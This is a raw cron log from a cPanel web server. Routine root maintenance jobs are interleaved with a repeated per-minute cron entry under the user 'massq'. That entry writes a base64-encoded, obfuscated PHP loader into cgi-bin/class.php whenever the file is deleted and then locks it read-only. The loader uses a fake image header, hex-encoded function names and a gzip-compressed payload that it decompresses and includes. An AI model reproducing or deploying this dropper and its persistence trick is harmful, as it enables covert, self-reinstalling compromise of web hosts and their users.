--decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:38:01 server CROND[3943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:38:01 server CROND[3944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:38:01 server CROND[3945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:39:01 server CROND[4420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:39:01 server CROND[4421]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 06:39:01 server CROND[4422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:39:01 server CROND[4423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:40:01 server CROND[4823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:40:01 server CROND[4826]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:40:01 server CROND[4828]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:40:01 server CROND[4825]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:40:01 server CROND[4829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:40:01 server CROND[4830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:40:01 server CROND[4831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:40:01 server CROND[4827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:41:01 server CROND[5654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:41:01 server CROND[5655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:41:01 server CROND[5656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:42:01 server CROND[6035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:42:01 server CROND[6036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:42:01 server CROND[6037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:42:01 server CROND[6038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:43:01 server CROND[6414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:43:01 server CROND[6415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:43:01 server CROND[6416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:44:01 server CROND[6785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:44:01 server CROND[6786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:44:01 server CROND[6787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:45:01 server CROND[7258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:45:01 server CROND[7259]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:45:01 server CROND[7261]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:45:01 server CROND[7260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:45:01 server CROND[7263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:45:01 server CROND[7266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:45:01 server CROND[7269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:46:01 server CROND[8087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:46:01 server CROND[8088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:46:01 server CROND[8089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:47:01 server CROND[8470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:47:01 server CROND[8469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:47:01 server CROND[8471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:48:01 server CROND[8855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:48:01 server CROND[8856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:48:01 server CROND[8857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:49:01 server CROND[9224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:49:01 server CROND[9225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:49:01 server CROND[9226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:50:01 server CROND[9705]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:50:01 server CROND[9706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:50:01 server CROND[9708]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:50:01 server CROND[9712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
